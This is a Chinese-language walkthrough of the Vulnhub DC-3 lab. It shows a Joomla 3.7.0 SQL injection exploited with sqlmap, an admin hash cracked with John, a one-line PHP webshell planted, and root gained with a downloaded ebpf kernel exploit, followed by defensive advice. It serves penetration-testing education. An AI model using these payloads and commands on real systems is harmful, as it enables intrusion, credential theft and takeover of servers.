从Joomla 3.7.0 SQL注入到Root提权:一次完整的DC-3靶场实战复盘(附脚本下载)
从Joomla 3.7.0 SQL注入到Root提权:DC-3靶场渗透实战深度解析
在网络安全领域,渗透测试是检验系统防御能力的有效手段。本文将深入剖析一次完整的渗透测试实战过程,以Vulnhub平台上的DC-3靶机为目标,展示从Web漏洞发现到最终获取Root权限的全链条攻击路径。不同于简单的步骤复现,我们将着重分析攻击者的战术思维和技术串联逻辑。
1. 靶场环境与信息收集
DC-3是Vulnhub平台上专为渗透测试学习设计的靶机环境,其特点是:
- 仅包含一个flag获取目标
- 需要完全自主探索攻击路径
- 要求具备Linux命令行操作基础
初始信息收集步骤:
- 使用nmap扫描目标网络,定位靶机IP:
nmap -sP 192.168.233.0/24- 对目标进行端口和服务扫描:
nmap -A -p- -v 192.168.233.179扫描结果显示开放了80端口,运行着Apache/2.4.18和Joomla内容管理系统。
关键发现:
- Web应用框架:Joomla 3.7.0
- 后台管理地址:
/administrator/ - 操作系统:Linux(通过HTTP头信息判断)
2. Joomla 3.7.0 SQL注入漏洞利用
通过SearchSploit查找Joomla 3.7.0的已知漏洞:
searchsploit joomla 3.7.0发现存在SQL注入漏洞(CVE-2017-8917),漏洞位于com_fields组件中。
漏洞验证POC:
http://192.168.233.179/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml使用sqlmap自动化利用:
- 获取数据库列表:
sqlmap -u "http://192.168.233.179/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]- 提取Joomla用户表数据:
sqlmap -u "http://192.168.233.179/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" -T "#__users" --columns -C "username,password" --dump获取的凭证信息:
| username | password |
|---|---|
| admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |
使用John the Ripper破解密码:
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > hash.txt john --format=bcrypt hash.txt --wordlist=/usr/share/wordlists/rockyou.txt成功破解出密码为snoopy。
3. 后台权限提升与Webshell部署
使用获取的凭证登录Joomla后台:
http://192.168.233.179/administrator/用户名:admin
密码:snoopy
部署Webshell的几种方法:
通过模板编辑插入PHP代码:
- 访问
Extensions > Templates > Templates - 选择Beez3模板,编辑
index.php文件 - 插入PHP反向shell代码
- 访问
通过文件管理器上传Webshell:
- 访问
Content > Media - 上传包含PHP代码的文件
- 访问
使用模板文件创建Webshell:
http://192.168.233.179/templates/beez3/html/创建
shell.php文件,内容为:<?php system($_GET['cmd']); ?>
推荐使用蚁剑连接Webshell:
- 在蚁剑中添加连接
- 填写Webshell URL和密码
- 获取交互式终端
4. 权限提升与Root获取
初始获得的www-data权限受限,需要进行提权。
提权步骤详解:
- 获取稳定shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'- 使用Linux Exploit Suggester查找可用漏洞:
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh chmod +x les.sh ./les.sh发现可用漏洞CVE-2016-4557(ebpf权限提升):
- 下载漏洞利用代码:
wget https://example.com/39772.zip unzip 39772.zip- 编译并执行:
cd ebpf_mapfd_doubleput_exploit ./compile.sh ./doubleput成功获取root权限后查找flag:
find / -name '*flag*' 2>/dev/null cat /root/the-flag.txt关键技巧:
- 使用
uname -a查看内核版本 - 检查SUID权限文件:
find / -perm -4000 2>/dev/null - 查看计划任务:
crontab -l
5. 攻击链总结与防御建议
完整攻击链:
- 信息收集 → 2. 漏洞发现 → 3. SQL注入利用 → 4. 凭证获取 → 5. 后台登录 → 6. Webshell部署 → 7. 权限提升
防御措施建议:
Web应用层防护:
- 及时更新CMS和插件版本
- 对用户输入进行严格过滤
- 使用WAF防护常见Web攻击
系统层防护:
- 定期更新操作系统和内核
- 限制不必要的服务和端口
- 实施最小权限原则
- 监控异常文件修改和进程
安全运维建议:
- 定期进行渗透测试
- 加强日志分析和监控
- 使用强密码策略
- 实施多因素认证
在实际渗透测试中,每个环节都可能遇到各种障碍,需要测试人员具备扎实的技术基础和灵活的应变能力。DC-3靶场虽然设计相对简单,但完整呈现了一个典型的Web渗透测试流程,对于初学者理解攻击链和防御策略具有很好的教育意义。
